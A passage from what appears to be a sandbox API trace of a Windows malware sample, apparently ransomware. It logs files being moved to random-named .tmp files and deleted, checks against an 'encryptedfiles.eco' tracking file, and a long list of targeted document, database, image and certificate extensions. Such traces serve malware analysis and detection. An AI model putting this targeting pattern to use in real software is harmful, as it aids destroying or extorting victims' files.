pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.378] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.379] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.379] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.379] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.379] GetFullPathNameA (in: lpFileName="brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", lpFilePart=0x18e708*="brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp") returned 0x8e [0120.379] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchWideChar=-1, lpMultiByteStr=0x18e710, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpUsedDefaultChar=0x0) returned 88 [0120.379] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e708*="Roses.htm") returned 0x57 [0120.379] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.379] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\brdqaazmprvljnvcs0zirhzxriwyhk8mujjgpmujfbwyl8aosd2m zaxhnc0juxsvbaqi7lye2pgrznz_lamvhkvwerqhpavgvtq.tmp")) returned 1 [0120.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", lpUsedDefaultChar=0x0) returned 105 [0120.382] GetFullPathNameA (in: lpFileName="brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", lpFilePart=0x18e6e4*="brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp") returned 0x8e [0120.382] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x67bbd10, ftLastWriteTime.dwHighDateTime=0x1d6080d, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x1466440, dwReserved1=0x1410000, cFileName="brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", cAlternateFileName="BRDQAA~1.TMP")) returned 0x143ce48 [0120.382] FileTimeToLocalFileTime (in: lpFileTime=0x18e6c8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0120.383] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0120.383] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d0, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0120.383] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0120.383] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0120.383] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0120.383] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.383] DeleteFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\brdQaAzMpRvLJnVcs0zIRHzXRIwYHK8MujJGpmuJfbwyl8aOsd2M ZAXhnc0JUXsvBaQi7LyE2pGrzNZ_LAMVHkVWERqhpAVgvTq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\brdqaazmprvljnvcs0zirhzxriwyhk8mujjgpmujfbwyl8aosd2m zaxhnc0juxsvbaqi7lye2pgrznz_lamvhkvwerqhpavgvtq.tmp")) returned 1 [0120.384] FindNextFileA (in: hFindFile=0x143ce48, lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0xe20000e2, ftCreationTime.dwLowDateTime=0x45, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x3, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x62, nFileSizeLow=0x0, dwReserved0=0xdd001cc1, dwReserved1=0x45, cFileName="", cAlternateFileName="")) returned 0 [0120.384] GetLastError () returned 0x12 [0120.384] GetLastError () returned 0x12 [0120.385] SetLastError (dwErrCode=0x12) [0120.385] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0120.385] lstrcpynW (in: lpString1=0x1436794, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.385] VarBstrCmp (bstrLeft="sktop.ini", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.385] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.385] VarBstrCmp (bstrLeft=".ini", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.385] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.386] VarBstrCmp (bstrLeft="ini", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.386] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.386] VarBstrCmp (bstrLeft=".ini", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.386] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.386] VarBstrCmp (bstrLeft=".ini", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.386] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.386] VarBstrCmp (bstrLeft=".ini", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.387] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.387] VarBstrCmp (bstrLeft="p.ini", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.387] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.387] VarBstrCmp (bstrLeft=".ini", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.387] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.387] VarBstrCmp (bstrLeft=".ini", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.387] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.387] VarBstrCmp (bstrLeft=".ini", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.387] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.388] VarBstrCmp (bstrLeft=".ini", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.388] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.388] VarBstrCmp (bstrLeft=".ini", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.388] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.388] VarBstrCmp (bstrLeft=".ini", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.388] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.388] VarBstrCmp (bstrLeft="p.ini", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.388] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.388] VarBstrCmp (bstrLeft=".ini", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.389] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.389] VarBstrCmp (bstrLeft="p.ini", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.389] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.389] VarBstrCmp (bstrLeft="p.ini", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.389] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.389] VarBstrCmp (bstrLeft="p.ini", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.389] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.389] VarBstrCmp (bstrLeft="p.ini", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.389] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.390] VarBstrCmp (bstrLeft="p.ini", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.390] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.390] VarBstrCmp (bstrLeft=".ini", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.390] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.390] VarBstrCmp (bstrLeft=".ini", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.390] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.390] VarBstrCmp (bstrLeft=".ini", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.390] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.390] VarBstrCmp (bstrLeft="p.ini", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.390] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.391] VarBstrCmp (bstrLeft="p.ini", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.391] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.391] VarBstrCmp (bstrLeft="p.ini", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.391] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.391] VarBstrCmp (bstrLeft="p.ini", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.391] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.391] VarBstrCmp (bstrLeft="p.ini", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.391] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.391] VarBstrCmp (bstrLeft=".ini", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.391] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.392] VarBstrCmp (bstrLeft="p.ini", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.392] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.392] VarBstrCmp (bstrLeft=".ini", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.392] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.392] VarBstrCmp (bstrLeft=".ini", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.392] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.392] VarBstrCmp (bstrLeft=".ini", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.392] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.392] VarBstrCmp (bstrLeft=".ini", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.392] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.393] VarBstrCmp (bstrLeft=".ini", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.393] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.393] VarBstrCmp (bstrLeft="p.ini", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.393] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.393] VarBstrCmp (bstrLeft="p.ini", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.393] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.393] VarBstrCmp (bstrLeft="p.ini", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.393] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.393] VarBstrCmp (bstrLeft="p.ini", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.393] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.397] VarBstrCmp (bstrLeft="p.ini", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.397] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.397] VarBstrCmp (bstrLeft="p.ini", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.397] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.398] VarBstrCmp (bstrLeft="p.ini", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.398] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.398] VarBstrCmp (bstrLeft="p.ini", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.398] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.398] VarBstrCmp (bstrLeft="p.ini", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.398] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.398] VarBstrCmp (bstrLeft="op.ini", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.398] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.399] VarBstrCmp (bstrLeft="ktop.ini", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.399] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.399] VarBstrCmp (bstrLeft="op.ini", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.399] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.399] VarBstrCmp (bstrLeft=".ini", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.399] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.399] VarBstrCmp (bstrLeft=".ini", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.399] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.399] VarBstrCmp (bstrLeft=".ini", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.399] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.400] VarBstrCmp (bstrLeft=".ini", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.400] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.400] VarBstrCmp (bstrLeft=".ini", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.400] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.400] VarBstrCmp (bstrLeft="ini", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.400] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.400] VarBstrCmp (bstrLeft=".ini", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.400] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.400] VarBstrCmp (bstrLeft="ini", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.401] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.401] VarBstrCmp (bstrLeft=".ini", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.401] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.401] VarBstrCmp (bstrLeft=".ini", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.401] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.401] VarBstrCmp (bstrLeft=".ini", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.401] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.401] VarBstrCmp (bstrLeft=".ini", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.401] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.402] VarBstrCmp (bstrLeft=".ini", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.402] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.402] VarBstrCmp (bstrLeft=".ini", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.402] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.402] VarBstrCmp (bstrLeft=".ini", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.402] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.402] VarBstrCmp (bstrLeft=".ini", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.402] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.403] VarBstrCmp (bstrLeft=".ini", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.403] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.403] VarBstrCmp (bstrLeft=".ini", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.403] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.403] VarBstrCmp (bstrLeft=".ini", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.403] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.403] VarBstrCmp (bstrLeft=".ini", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.404] VarCmp (pvarLeft=0x18eae4, 